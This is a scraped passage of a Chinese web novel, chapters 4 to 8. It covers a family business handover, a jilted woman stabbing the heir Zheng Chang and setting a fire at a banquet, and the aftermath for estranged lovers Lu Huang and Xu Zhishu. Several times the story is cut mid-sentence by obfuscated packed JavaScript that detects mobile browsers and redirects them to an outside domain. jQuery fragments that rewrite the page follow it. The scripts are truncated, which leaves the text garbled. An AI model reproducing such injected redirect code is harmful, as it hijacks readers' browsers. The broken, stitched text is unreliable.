“二少爷,吃晚饭了吗?”管家迎上来,这个时间说早不早,说晚也不晚,老爷子已经吃过了,如果路煌需要,他得通知厨房开火。 “还没有,给我煮碗面就行。”路煌回来这一路心里都乱糟糟的,满脑子都是许稚舒。如果不是刚才空着肚子跟郑夫人喝了杯酒,这会儿胃里不怎么舒服,他可能连吃饭的心思都没有。 “好的。老爷子已经在书房等你了。”管家说。 路煌微微点头,就上楼去了。 他在外面住惯了,平时并不常回来。退圈后,他大部分时间还是住自己的房子,只不过开始接手家中事务,有不少事需要问父亲和哥哥,所以路煌回来的次数变多了,留宿倒是不多。 敲了门,路煌就进了。 “爷爷。” 路老爷子正在看文件,见他进门,把文件往旁边一放:“去过郑家宴会了?” 老爷子头发花白,但梳得整齐,显得非常精神。 “嗯,郑先生还没到场,说是有工作没忙完,我跟郑夫人聊了几句就走了。”路煌说。 老爷子微微点头,随即把放到一边的文件推给他:“你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442927|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看这家公司。” 路煌拿过文件,是一家娱乐公司:“这不是赵老爷子家的公司吗?” 这家公司路煌知道,不仅因为赵老爷子跟他们家老爷子是多年的朋友,还因为这家公司推出过几个团。只不过都没起太大的水花,后来都解散了。 “对。赵家急需一笔资金周转,不得不把这家公司出手了。一时又找不到合适的买家,所以找我这儿来了。”老爷子语气有些感慨。 赵家不算大家族,生意主要在文化方面,后来跟风进军娱乐行业,做得不温不火,没闯出名堂,却也没赔得太难看。 因为赵老爷子跟路老爷子认识得早,所以就算两家并不在一个圈层,往来也没有断过。 “赵老爷子需要钱跟您借不就行了,出手公司不是自断产业吗?”路煌疑惑。 赵家的娱乐公司发展得不好,却也没到需要脱手的地步,放手里吊着,万一赶上风口,就起来了。再说,他家老爷子有钱,跟那些钱都是公司资产的富豪不同,他们家的钱是实打实握在手里,随时能拿出来用的。赵老爷子如果开口借,他爷爷是不会小气的。 路老爷子叹了口气:“老赵的孙子私自动了公司的的钱。等家里发现,资金缺口已经补不上了。为了稳住主营这一块,只能把旁的卖了。否则即便借到钱暂时缓口气,也还是要拆东墙补西墙的。” “他孙子干什么动了那么多钱?”路煌并不是想探听八卦,只是随口一问。 “赌博。”路老爷子恨铁不成钢。 路煌无语。他知道不少富二代会跑去赌场玩,但到了他们这个阶层的,大家就算玩也不敢动家里的资产,就是在公海上当消遣玩一下罢了。像赵家孙子这种,明显是赌红眼了,什么钱都敢动,这样的人狗改不了吃屎,算是废了。 “所以您就把赵家的娱乐公司买了?”既然文件都在手上了,肯定已经是既定事实。 “之前咱们家不涉及娱乐产业,照理来说我可以帮老赵找下家,没必要自己收。不过我一想,你在娱乐圈那么多年,对这里面的经营肯定了解,交给你也不错,所以就自己收了。”赵老爷子在家族经营方面不是独裁者,就算他先把事做了,之后也会做出解释。 “爷爷,我已经够忙了。”路煌不想接手,不是没有能力,而是接手了他势必还要接触娱乐圈,接触娱乐圈他就忍不住想要去找许稚舒。 “和你哥比,你算什么忙?”老爷子把剩下的文件全推给他,“手续都办好了,你抓紧安排时间去公司看看。” “我不干,您找别人吧。”路煌拒绝,“或者您自己再出山,亲自管理也行。” “你这个臭小子,多给你点公司管着,怎么弄得像我要害你似的?赚到的钱不都是你的吗?” 老爷子并不知道他和许稚舒的事,路煌也没有办法跟他解释,只能说:“我现在的工作都是刚接触,还没上手,管不了那么多。实在不行你交给大嫂管吧。” 老爷子刚要继续说,路煌的手机就响了,是路煊打来的。 “喂?哥。”路煌为逃避老爷子,赶紧接了。 “你在哪儿呢?”路煊语气有点急。 “在家呢。” 路煊明显松了口气:“那就好。” “怎么了?”路煌问。 路煊:“郑昌在宴会上被人捅了,还发生了火灾,我怕你还在宴会上,就赶紧问问你。” 路煌脑袋嗡地一下,顾不上老爷子在后面喊他,立刻冲出家门。 5. 第5章 宴会厅突然闯进这么个人,所有宾客都警惕地绷紧身体,并本能地往里靠,生怕一个不小心就成了垫背的。 而今天到场的除了郑夫人的亲朋好友外,还请了几家媒体记者。原本是想借着这次生日宴宣传郑夫人的香水品牌新推出的香型,同时将这款香型与精致优雅的宴会生活挂钩,利用场景与香味的结合,为潜在的购买者植入概念,促进销售。这是品牌常用的销售手段之一。只是万万没想到,好好的宣传场合却凭空上演了一出意外事件。 女人身上白裙子已经弄脏了,手臂也有磕伤的痕迹,身上斜跨了一个不大却鼓鼓囊囊的防水布包,与她的裙子并不搭配。她双手紧握着匕首,冲着前方比划着,嘴里还是在叫郑昌的名字。 此时围绕在郑昌身边的几个公子哥已经认出了女人,一边下意识地往后躲一边对郑昌道:“这个女的不是一向很听话吗?怎么跑这里来了?” “郑少,你不是把她甩了吗?” “先别说这个了,郑少,你把局面控制住,我去叫人帮忙。” 郑昌看到女人,脸都黑了。站在郑昌不远处的杨观脸色也没好到哪儿去。他跟郑昌在此之前只接触过一次,听说过这位郑少风评不好,但他没有亲眼看过,不予置评。结果今天就让他亲眼见着了,就算不知全貌,看女人这个状态,他也能猜出个大概。 与郑家的合作的确是难得的机会,但郑昌明显是不确定因素,让他不得不重新考量合作的可能性了。随后,他开始满场找许稚舒,作为兄长,他得顾住许稚舒的安全。 “小姑娘,你先把刀放下,有什么事好好说。”作为宴会的主角,郑夫人哪怕再害怕,也不能往后躲。何况对方是冲着她继子来的。 女人立刻把刀尖指向郑夫人,重新聚焦的眼神透着疯狂和凶狠:“你是什么人?!是郑昌的新女朋友?” 郑夫人连忙摆手:“不是,我是他继母。你有什么事可以跟我说,别吓到其他人。” 听到“继母”两个字,女人状态稍微平复了些,又继续叨叨着:“郑昌呢?郑昌在哪儿,我要见他。我是他女朋友,他说过会和我结婚的,我已经怀了他的孩子了,他怎么不见了?” 在场的宾客将她的话听得清清楚楚,大家彼此看了一眼,都默默地没有说话。只有宴会厅的音乐如同无知的孩童一般,继续唱着欢快的歌谣。 许稚舒和郭枝对视了一眼,郭枝摇摇头,显然也不知道内幕。这时杨观悄悄来到了许稚舒身边,让他顺着墙边往大门那边靠,如果发生混乱,这个位置能尽快逃离宴会厅。 郑昌向来看不上自己这个继母,郑夫人站出来更让他恼火。于是他几步就走了过去,对着女人道:“你不是在医院休养吗?怎么跑这儿来了?” 女人看到郑昌,立刻露出甜甜的笑,可手上的刀并没有放下:“我找不到你,听说你在这儿,我就来了。” 女人的刀在灯光的照射下更显锋利,郑昌虽是上前了,却也离了一段距离。 “我忙,等我有空了自然会去看你。”郑昌不算蠢,知道这个时候安抚住对方更重要。同时他也看到同伴已经去叫保安了,眉宇间拧起的情绪才舒展了些。 “可是我想见你啊,宝宝也想见你。”女人看了看自己平坦的小腹,笑容有一秒的扭曲。 “我正忙着,先让人送你回去好不好?”郑昌语气平缓,看起来就是个关心女友的男人。可在场的没人是傻子,这个女人疯疯癫癫地出现在这儿,已经说明他们的关系没那么简单了。 “不好!你跟我一起回去好不好?我好久没跟你说话了。”女人态度很明确,不是那么容易能劝走的。 郑昌肯定不可能跟着女人走,他不时往门口张望,等待同伴把保安叫来。因为他和几家少爷想在宴会结束后继续去找乐子,为了方便,连保镖都没带,这会儿就麻爪了。 许稚舒能做的不多,他一个做音乐的,打架实在不擅长同,也不会逞能充英雄,能顾好自己的安全已经不错了。 保安已经到了,但都聚集在宴会厅门口,没有人敢上前。他们只是保安,又不是保镖,维持秩序还可以,真论身手,也不过是普通人,面对尖刀,谁也不愿意冒险。 即便如此,保安的到来还是刺激到了女人,她尖叫着把刀尖指向门口,嘶吼着:“你们别想夺走我的宝宝,对对,你们都死了,就没有人能伤害我的宝宝了!” 在谁都没反应过来的情况下,女人单手从包里拿出一瓶汽油,拇指一推,瓶口打开,对着门口就胡乱呲过去。保安立刻躲开,这要是被呲中可不是闹着玩的。 郑昌看到这个局面,知道这个疯女人如果真点了火,今天的事就闹大了! 于是他冲着自己那些狐朋狗友大喊:“快来帮忙制住她,别让她点火。” 而那些外强中干的富二代仗势欺人还行,真遇到事没有一个敢上的。 女人把瓶子一丢,胡乱翻着包,明显是在找打火机。在场的人不是没有想帮忙的,只是女人手里的刀并没放下,任谁心里都得打鼓。 郑昌气得脸都扭曲了,正转过头要对门口不作为的保安吼,找不到打火机的女人放弃了摸索,冲着没有防备的郑昌冲了过去。 “小心——”郑夫人疾呼。 “啊——”纷乱的尖叫声再次响起。 刀子已经插在了郑昌的腹部,女人用尽了力气,跌坐在地,她包里的打火机滑了出来。 女人拿起火机,疯魔地大笑着:“郑昌,你这个骗子,你害我的孩子没了,你不得好死!” 说着,火机被按出火苗,直接丢到了地上,火焰瞬间蹿起。 酒店工作人员拿灭火器救火的声音;郑夫人让人叫救护车的声音;警车赶到的警笛声混杂在一起……欢快的背景音乐仍在继续。 路煌赶到酒店,参加宴会的宾客已经散了。他又立刻赶到许稚舒家楼下,发现他家里的灯没开,应该是人还没回来。 正准备给许稚舒打电话,就见一辆车开了过来,停在了他车子后面。 许稚舒从后座下来,就看到站在前面的路煌。 “你……”这是短短三个小时内他第二次见到路煌。不知道是因为宴会的突发情况让他还没缓过神,还是见再的情绪已经在三个小时前消化好了,总之现在的许稚舒情绪很平静。 原本路煌的注意力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442928|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该全在许稚舒身上,应该走过去问他是不是被吓到了,有没有受伤。可现在,他的目光却不受控制地转到了同样从后座下来的杨观身上。 杨观个子很高,长相英俊,身上有着多年留学养出的绅士精英范儿,在人群中颇为显眼。 杨观和许稚舒的关系他早就知道了,许稚舒的身世他也清楚。只是现在看到杨观,让路煌又一次不情愿,却又不得不重新认清自己的身份——如今论亲疏,他连杨观都不如了。 “路先生?来找稚舒吗?”见到时路煌,杨观是真的意外。 杨观并不知道路煌在郑夫人的宴会上露面了,进宴会厅前许稚舒提醒他离郑昌远一些时,他只以为是路煌先前跟许稚舒说的。现在路煌出现在许稚舒家门口,会让他觉得这两个人的关系非常好,即便团解散了,也还是维持着不错的友谊。 “嗯。”路煌的担忧渐渐平复下来,表情是一如继往对外人的冷淡,“听说郑夫人的生日上出了点事,正好路过,就过来看看。” 这话前半句是说给许稚舒听的,后半句是应付杨观的。他和许稚舒的关系杨观并不知道。 “今晚的确惊险,幸好没出大事。”在精神高度紧张后,难免会觉得疲累,杨观没有多留,“稚舒,路先生,你们聊,我先回去了。” 路煌微微点头。 “哥,路上慢点儿。”许稚舒目送杨观上车。 车子开走,许稚舒才重新看向路煌。 “其实不用特地跑一趟,打电话也可以。”许稚舒不是否定路煌的做法,只是路煌现在忙,需要有足够的休息时间。 “怕你不接。”路煌是行动快过脑子,说这句话不过是找个借口。 复杂的情绪没有回笼,在经历过今晚这样让人心惊的事后,许稚舒反而容易立于当下,不想那么多。 “我没那和幼稚。”许稚舒一笑。 再次看到许稚舒和笑脸,路煌觉得自己的心都化了,于是他得寸进尺地提议:“一起吃点东西行吗?我晚饭还没吃。” 考虑到现在回家也未必能早睡,而且他的晚饭只是去宴会前简单吃了一点,这会儿的确饿了。路煌一说自己还没吃,许稚舒就没办法硬下心赶他走。何况路煌是为他来的。 “吃面行吗?”许稚舒问。 路煌眼睛都有神了,点头道:“可以!” 司机将两个人送到他们常去的一家日式面馆,这家的面并算不上特别好吃,但胜在二十四小时营业。有时候活动到很晚想吃夜宵了,经纪人就会带着他们几个过来吃夜宵。 这个时间店里的人不多,两个人挑了个角落的位置,轻车熟路地点了面。 面上得很快,两个人掰开筷子,路煌几乎是没有任何思考地把碗里偏瘦的叉烧夹给许稚舒,又把许稚舒碗里偏肥的那块连带着他不吃的海苔夹到自己碗里,额外加的笋丝也顺手倒进了许稚舒碗里。 等做完这些,路煌才发觉自己好像已经没有资格这样做了。 许稚舒垂着眼睛,快速地眨了两下,像什么都没看到,什么都没发生一样,低头吃面。 路煌压着心中升起的纠结,也默默地开始吃饭。 6. 第6章 一顿饭吃得颇为沉默,不是无话可聊,反而是担心聊起来太默契,在分开时反而要难受。 直到碗里的面见底,路煌才没忍住,问起了宴会的情况。至少这个话题对两个人来说都是安全的。 许稚舒向他描述了现场的情况,继续又说:“好在汽油不多,火灭得及时,只是宴会厅门口烧得严重些。至于郑昌如何,就不知道了。” 救护车来后,郑昌就直接被拉走了,反正这期间还是喘气的。警察给宾客们都做了笔录,否则他还能回来得早一些。 “你怎么知道郑昌会倒霉?”许稚舒提出了自己的疑惑。 路煌语气中带了些许不屑:“郑昌平时玩得太乱,承诺信口就来,他父亲帮他压了不少事,他才能继续作到现在。这回骗到一个天真的,那女的受了刺激精神状态出了问题。这种情况下,不确定因素太多了。” 之前路煌跟郑昌完全是两个圈子,这样的八卦基本不会有人跟路煌说。现在路煌回家帮忙了,这个圈子里的各种事自然会有人跟他讲。 许稚舒皱了皱眉,没做评价。娱乐圈也乱,不过他们这十年因为有路煌在,还真的是干干净净,全心努力向上地在发展。所以这样的事对许稚舒来说依旧是有距离感的。 “话说回来,之前能压住是因为都是私下的事。这回闹到宴会上,请去的记者给点钱还能封口,但宾客这么多,估计瞒不住。”路煌给出自己的看法。 “看在郑先生和郑夫人的面子上,就算有人想传出去,也会掂量吧?”这是许稚舒的看法。 路煌一笑,说:“你以为那个女人是怎么顺利进入宴会厅的?” 如果是别人,大概会觉得许稚舒的话多少是幼稚了,可路煌不会这么认为,许稚舒能这样说,说明他把许稚舒保护得不错。 许稚舒一愣,漂亮的眉眼干净得让人心动。 路煌没让他思索,直接丢出结论:“郑先生肯定还是会想护着自己的独子,但郑夫人可就未必了。这么多年,郑昌一直看不上这位郑夫人,郑夫人总得为自己打算。” 这件事不需要争论,只看会不会上热搜,内容倾向上向着谁就差不多能有结论了。 一顿饭的时间对两个人来说既漫长,又过于短暂。 “我送你吧。”出了店门,路煌道。 “不用,我叫了车。”许稚舒觉得与路煌吃顿饭已经是极限了,再多相处一分,他这些天的努力就真的白费了,他不想从头再来一遍。 短短的对话间,许稚舒叫的车子开了过来。 没有说再见,也没有其他接触,许稚舒默默上了车,这或许是最好的分别方式。 等许稚舒回到家,郑昌宴会被刺伤的消息已经满天飞了。显然正如路煌所言,消息根本盖不住。 墙倒众人推,何况还是一面烂墙。有一个人开头,之后冒出来的知情人士更是将郑昌往死里锤。郑昌并不出名,但郑家在投资这块还是很有影响力的,所以郑家下一代出了事,还是这种人品有问题,越扒越有料的事,关注度不可能低。 许稚舒只随便扫了一眼,就没再关注了。路煌吃饭时的一举一动总是反复地出现在他脑子里,因为喜欢,就会忍不住去观察,用了心的观察就会印象深刻。晚上万籁俱寂,本就是让人容易多想的时候,好不容易平静的心情再起涟漪,再想恢复平静,着实需要花些时间。 在床上翻来覆去躺到凌晨一点,许稚舒还是一点睡意都没有。想睡却睡不着的时候最为折磨,许稚舒索性起床去了琴室。那里有一台电钢琴,许稚舒用的次数并不多,今晚倒是派上用场了。 琴室的灯亮了一夜,直到天空泛出光亮,才悄然关闭。 睡得太晚,许稚舒发了消息给乐言,说自己今天不去工作室了。原本以为能睡到大中午,结果没到九点就被贺漾的电话吵醒了。 “还没起?”贺漾是没想到的,许稚舒在团里时就不大熬夜,除非是工作结束得晚。现在许稚舒自立门户,他以为许稚舒肯定会健康作息。 “嗯,今天不忙?”许稚舒随口问。 “忙啊,但这不是重点,你快看热搜!”贺漾的语气挺激动。 “热搜?郑家的事?”贺漾好八卦,以前遇上些风吹草动,就会跑到他房间来分享。 “不是,是你和路煌啊!你们两个居然单独吃饭,这是和好了?”贺漾比任何人都要激动,在他看来,这两个人就不应该分手。 许稚舒没想到会有热搜,一时有些错乱,不知道是应该澄清还是保持沉默。 “没有,只是遇到了,正好都没吃饭,就一起了。”许稚舒说了谎,若是解释昨晚的情况,电话恐怕一时半会儿挂不了。 “这样啊。”贺漾明显的失望,可既然是误会,他肯定不愿意再刺激到许稚舒,马上换了话题,“昨天我收到一个音乐节目的邀约,还没决定参不参加。等我忙完这几天去找你,你帮我参谋一下吧。” “行。”贺漾需要,他推了别的工作也得把他放前列。 贺漾哈哈笑着,那边助理来催他了,两个便挂了电话。 还有些困,现在继续睡可能就要睡到午后去了,许稚舒索性起床,下午再补个觉就好。 早餐依旧是自己做的三明治,但咖啡是点了外卖的焦糖玛奇朵,他想喝点甜的,从而让自己心情好一些。 吃饭期间,许稚舒还是随手打开了热搜,就看到#路煌许稚舒#的热搜挂在第一位,不仅完全压过了郑家的热搜,甚至郑家的热度正在快速下降。 【太好了,我嗑的CP没有BE!】 【你们还能评论,我只会嚎叫了!!谁能明白我的心情!!】 【又被甜到了,说Infinite是塑料兄弟情的去哪了?!给我滚出来battle!】 【还以为再也看不到他们同框了,呜呜呜,感动哭。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442929|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【我相信他们真的是有感情的,他们说话时看对方的眼神好认真啊。】 【晚上一起吃夜宵,要不是足够亲近的人,谁会约这么晚?】 【一大早上心里就甜甜的,我的皇叔CP,给我狠狠爱!!!】 【@许稚舒老公,发点你跟你老公的合照吧,求求啦!】 作为热搜常客,许稚舒的敏感度还是很高的。他和路煌的CP热度虽高,却也不至于一大早上话题就这么热。 再看看郑家话题下降的速度,他有理由怀疑这是郑家为了降自己的话题,故意给CP话题买的热度。 这属于常见操作,只不过给郑昌挡热度,许稚舒可不怎么乐意。 还没等他多想,乐言的电话就打来了,如果不是有要紧的事,乐言不至于这个时间打电话。 “喂?阿言。”许稚舒接了电话。 “许哥,你快醒醒!”乐言语气有藏不住的开心。 “已经醒了,什么事这么高兴?” “哥,你知道我刚才接到谁的电话了吗?”没等许稚舒猜,乐言就藏不住了,“是左思珈!她说想跟你见一面,谈谈看有没有合作的机会。” 此时许稚舒的惊讶一点都不比乐言少。他的工作室的确需要一首爆曲拉起他单干后的知名度,他想过哪些歌手是可以联系寻求合作的,却从来没往左思珈身上想。 左思珈十六岁出道,今年也有四十岁了。出道后的十年她红级一时,推出过无数至今还让人翻唱的作品,不仅国内,海外的知名度也相当高,还为国外的电影唱过英文主题曲。 但过了二十六,左思珈就开始断崖式地走下坡路。她本人很努力,每年至少出一首单曲,基本都是一张专辑,跟许多音乐人有过合作。她的唱跳到现在放眼整个乐坛,都是实力相当不错的。公司对她也从未怠慢,从出道到现在,她都没有换过经纪公司,可见公司的待遇她是满意的。可就是不知道为什么,就是唱什么扑什么,听说去年的专辑一万张都没卖上。 许稚舒之所以记得这么清楚,是因为他最开始听到左思珈的歌时,几乎没有一首是他不喜欢的。左思珈的音域并不算宽,但声音非常有辨识度,台上表现也很稳,许稚舒一度拿她的歌列表循环。 可也就是在他开始听左思珈歌这一年,她就开始走下坡路了。 每一年左思珈发新歌,许稚舒还是会听,但真的没有在单曲循环过,也不免唏嘘。 他甚至听一些前辈提起左思珈时都说上玄学了,说她是不是被什么人夺了运势,才一落千丈,再厉害的音乐人都拉不住她下降的速度。 许稚舒大概清楚左思珈找上他是希望再博一把。她都没放弃重新在乐坛站稳的可能,许稚舒自然愿意给她写歌。但前提是两个人在歌曲风格上的想法得有一致性,否则即便合作,也做不出最合适的歌曲,反而是等着新一轮的失望到来,这样的折磨就没有必要了。 7. 第7章 与左思珈见面这天是个阴天,许稚舒还蛮喜欢阴天的,仿佛一切都进入了安静的领域,乌云吸走了杂乱,没有晴在那么热闹。就是心情不那么明亮,沉静感也不会让他觉得孤独。他不讨厌热闹,却十分享受孤独。 左思珈是跟他经纪人一起来的。以左思珈现在的地位,经纪人已经不能左右她的想法了,更多的是按着她想法安排工作,这也是出道多年有过一定的成绩后,可以自主的好处。 “两位请坐。”许稚舒没有特别殷勤,合作最重要的是愉快,过分殷勤所带来的不对等感,是很难碰撞出花火,从而产生愉快的情绪的。 乐言送来茉莉花茶。 左思珈不是顶漂亮的那种艺人,却也是好看的,让人打眼一看就很舒服。 “是郭姐推荐我来的,我听了你之前做过的音乐,风格很多变,对我想要的突破有帮助,所以想来谈谈看。”左思珈开门见山,大家的时间都很宝贵,又是约好来谈合作的,不需要说那么多客套话。 “郭老师吗?”宴会上郭枝的确问他要了工作室的名片,但没想到会推荐给左思珈。 “对,我跟郭姐认识很多年了。她知道我在筹备新歌,一直没挑到合适的,就推荐找你试试。”左思珈作为前辈,并没有因为许稚舒年纪轻就摆出一副想指挥别人的态度,这让许稚舒对她的印象更好了。 “那我真应该好好感谢郭老师才对。”许稚舒微笑说,“无论这次合作能不能成,能得到郭老师的认可,就已经算是我的成功了。” 他笑起来显得特别温柔,一副什么事都好商量的感觉。 “郭姐能推荐你,我也很期待。” 闲话聊完,许稚舒问起了她这次想要什么风格。 “我出道这么多年,尝试了许多风格。我一直担心同种风格粉丝听多了会觉得没有新鲜感,所以这次还是希望能挑战不一样的东西。概念上也希望足够新颖。”左思珈把自己想要的表明了。 她的经纪人坐在旁边,没有发表任何意见。 许稚舒:“左老师,你的歌我都听过。” 左思珈眼睛一亮,显然是高兴的。 “你前期的风格自成一派,别人想模仿却没有你这样过硬的实力。后期你一直在各种尝试,恕我直言,你一直很努力,从歌曲到概念再到视觉,都在尽量打造一种全新的听感,可效果真的不尽人意。”许稚舒在音乐创作这件事上是不愿意含糊其辞的。 “的确。”左思珈承认,也是因为如此,她越发歌曲越难受,可作为歌手,这是她的本命,是不能放弃的。 “你有没有想过回归到最开始的风格上?”许稚舒提议。 左思珈皱起眉,脸上温和的表情慢慢消失了。 许稚舒知道左思珈最开始的风格都是公司给定的,她没有自主权,公司怎么打造,她只能安排要求去做。后来有了自主权,肯定是希望突破桎梏,证明自己。可术业有专攻,她的经纪公司能存活这么多年,必然是有它的强项的。风格制定恰恰是其中之一。 这番话许稚舒就不太好直说了,容易伤到左思珈的自尊。于是他选择换一种方式。 “左老师,你的歌曲伴随了你那一代人的成长,他们在你的歌曲中汲取能量,看着你越来越好,他们自己也觉得越来越好,这是一个艺人立足的起点。你想突破,我很理解,但别人的突破是从实力一般往实力强劲上突破,你已经是顶尖的实力了,突破其实是打破粉丝期许的。” “你的粉丝现在多半与你年纪差不了太多,这个年纪的人可能更需要你的陪伴。或许他们已经不再是及时的购买力,可他们只是滞后,而不是没有购买力。而且这一代的人现在是最需要精神抚慰的。” “年轻一代有他们的审美和喜欢的风格,你想去抓年轻人的心,就年龄认知这个层面上,你就不占优势,他们更容易喜欢与自己年轻差不多的艺人。” “所以我认为你更应该回到你的舒适区去,照顾好属于你的粉丝群体,通过好的作品和更广的传唱度去吸引年轻的粉丝。而不是去搞年轻人喜欢的东西,他们既get不到,又浪费你自己的实力。” 左思珈越听脸色越难看,倒是她的经纪人,表情明显鲜活起来。 “看来我们的想法并不合拍。”左思珈语气有些生硬。 抱着突破的希望而来,结果扫兴而归,任谁都很难有好脸色。 如果要按左思珈的要求写歌,许稚舒是能写的。但还是那句话,他需要一首爆曲为工作室拉高知名度,所以推出的第一首歌尤为关键。 “左老师可以再考虑一下我的提议。左老师愿意给我机会,我很荣幸。但我也要为合作的艺人负责,如果明知可能是无效回归,却还要做的话,也许过程你会很愉快,但结果就是我们不会再有二次合作的机会了。”许稚舒说得一点都不夸张,只看近些年左思珈作品的合作人就知道了,没有用第二次的。 可能是顾着体面,左思珈没把话说绝,只是客气地说:“我回去再考虑一下。” “好的,左老师如果有需要,可以再联系我。”许稚舒没有强留,起身将两人送出门。 乐言见她们这么快就要走,脸上不免多出几分焦虑。 上车前,左思珈经纪人似乎还想说些什么,可最后也只是看了许稚舒一眼,就上车了。 送走她们,乐言亦步亦趋地跟在许稚舒身后,直到进了办公室才问:“怎么这么快就走了?” 许稚舒笑道:“没谈拢。” 乐言原本以为会是愉快的一天,连午饭订哪家的餐都想好了,结果是以泡汤结束。 “哪里不合适,我再去跟她们团队争取一下?”现在他已经不是纯助理了,需要做的事很多,一些原本不需要他操心的事现在他也有责任帮着沟通。 他这副操心的样子把许稚舒逗乐了:“不用,合作是需要缘分的。” “哥,你现在是一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谁说不是呢?现在又裁员,听说纬弦现在内部动荡得很。”李瑶不是瞎说的性格,能说的都是切实的消息。 许稚舒听着,没有发表看法。纬弦娱乐正是他父亲杨立致的公司,杨家就是靠娱乐行业起家的,只是现在涉及的行业多了,纬弦娱乐就渐渐不是重点了。 杨阅是杨立致与现任妻子生的孩子,杨立致与杨观母亲的婚姻并没持续多久就离婚了。没出三个月,杨立致就娶了现在的妻子。 许稚舒只见过杨阅一次,还是在他母亲过世后,杨观周末总会带他出去吃饭,在餐厅偶遇的。杨观只是远远地跟许稚舒说了那是谁,并没上前打招呼。在非必要的情况下,杨观是不与杨家人接触的。 后来再听说杨阅的事,就是杨阅出国留学,杨观跟他提了一嘴。 时间过得真快,现在杨阅都回来接手纬弦娱乐了,还要对标Infinite制作男团,总有一种无形中形成的对抗之势。剑拔弩张肯定算不上,但被对标的不痛快还是有的。 8. 第8章 从赵家收来的娱乐公司最后还是由路煌接手了。公司本就不赚钱,如果被收购后出现大幅度的人员变动,只会让人心涣散,想有起色花的时间会更久。 路煌再三考虑,决定还是暂用现在公司的人员配置,连公司原本的名字“初黎娱乐”都没改,先做三个月的内部工作安排,通过这三个月的工作把尸位素餐的都处理掉,年底就可以做好人员调整,明年完全走上正轨。 路煌管理公司的经验尚浅,不过耳濡目染的也知道公司经营不能着急,每一步都走在点上,才能用最小的付出换来最大的回报。 在翻到音乐制作部的资料时,路煌又不禁想到许稚舒。上次见到他,路煌觉得他瘦了些。许稚舒对待他的态度明显是守着距离的,即便他无意间还是做出了恋爱时的举动,许稚舒还是拉紧了两个人中间的那条线,让他没有在冲动之下说或者做出些什么。 将文件一推,路煌靠在椅子上。如果他和许稚舒不是分手的关系,现在初黎的情况,他肯定会找许稚舒来为公司做音乐,至少要确保他接手后发的第一批歌曲得有一首能砸不水花。可现在,他是不敢去找许稚舒的。 工作忙的时候还好,像现在这样他一个人待着思考问题,控制不住想到许稚舒时,那种无力感又会回笼。无论他对外如何强硬,在许稚舒的问题上,总还是不自觉柔软的。也许在别人看来,这是自己给自己找了个软肋,可他们路家人都是情种,没办法的事。 之后几天,左思珈那边都没动静。许稚舒就默认这次合作是黄了,因为贺漾跟他说考虑参加音乐节目,许稚舒目前不至于没事可做,倒也没纠结这件事。 周末没有安排,吃过早饭后,许稚舒就去了工作室——他现在不能让自己闲下来,即便不那么忙,也还是要做些什么,让自己不去想路煌。 不是工作日,工作室前的整条街道都空落落的,所以工作室门前停了一辆车就格外显眼,许稚舒也很快认出来,那正是左思珈的车。 许稚舒没有直接转进停车场,而是停在了那辆车后面,随后下车走过去,轻轻敲了敲车窗。 车窗压下来,左思珈的表情是掩饰不住的复杂,有惊讶,有犹豫,还有一点不好意思。 “左老师,又见面了。工作室今天没人,车子没办法直接进停车场。”许稚舒给她递了台阶,就像两个人是早就约好了一样,只是左思珈来早了,没能进去。 左思珈笑了笑,许稚舒给了她面子,她领情,却不会觉得是理所应当的:“想再和你聊聊,方便吗?” “当然。” 许稚舒用钥匙打开独立停车场的栅栏,让左思珈先进,自己随后也开车停了进去。 两个人一起往楼上走,许稚舒说:“今天只能请你喝外卖咖啡了,可以吗?” “可以。”左思珈没拒绝,想认真谈的意思已经很明显了,“既然是休息日,你怎么还来上班了?” 如果不是许稚舒来了,她在门口纠结一会儿,可能就离开了。毕竟她想突破的心还是没彻底死掉,否则不会选择周末过来。可许稚舒却突然出现了,就好像冥冥之中有股力量在告诉她,到底怎么走才是对的。 “没别的安排,最近灵感又挺多的,就过来写一会儿歌。”许稚舒没带她去办公室,而是去了音乐室。其实他是图省事,等他离开时,只收拾这一个地方就行了。 “随便坐。”许稚舒请她随意,自己则拿出手机,快速点了咖啡。 左思珈打量着音乐室里的各种乐器,她真没在别的音乐人那里见过这么多乐器,很多人都是一台琴就搞定了。毕竟合成器可以模拟出各种音色,没必要一定要有实物。实在要用的话,现借也行。 